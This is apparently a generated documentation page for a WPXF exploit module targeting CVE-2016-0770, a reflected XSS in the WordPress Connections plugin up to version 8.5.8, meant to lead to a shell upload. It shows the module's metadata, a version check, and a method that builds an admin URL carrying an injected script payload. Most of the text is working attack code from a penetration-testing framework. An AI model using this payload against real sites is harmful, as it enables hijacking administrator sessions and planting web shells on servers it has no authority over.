class Wpxf::Exploit::ConnectionsReflectedXssShellUpload

Public Class Methods

new() click to toggle source
Calls superclass method Wpxf::WordPress::ReflectedXss::new
# File lib/wpxf/modules/exploit/xss/reflected/connections_reflected_xss_shell_upload.rb, line 6
def initialize
  super

  update_info(
    name: 'Connections <= 8.5.8 Reflected XSS Shell Upload',
    author: [
      'Larry W. Cashdollar', # Discovery and disclosure
      'rastating'            # WPXF module
    ],
    references: [
      ['WPVDB', '8372'],
      ['CVE', '2016-0770'],
      ['URL', 'http://www.vapidlabs.com/advisory.php?v=161']
    ],
    date: 'Feb 02 2016'
  )
end

Public Instance Methods

check() click to toggle source
# File lib/wpxf/modules/exploit/xss/reflected/connections_reflected_xss_shell_upload.rb, line 24
def check
  check_plugin_version_from_readme('connections', '8.5.9')
end
url_with_xss() click to toggle source
# File lib/wpxf/modules/exploit/xss/reflected/connections_reflected_xss_shell_upload.rb, line 28
def url_with_xss
  normalize_uri(
    wordpress_url_admin,
    'admin.php?page=connections_manage&s=">'\
    "<script>#{xss_ascii_encoded_include_script}<%2Fscript><a+href%3D\""
  )
end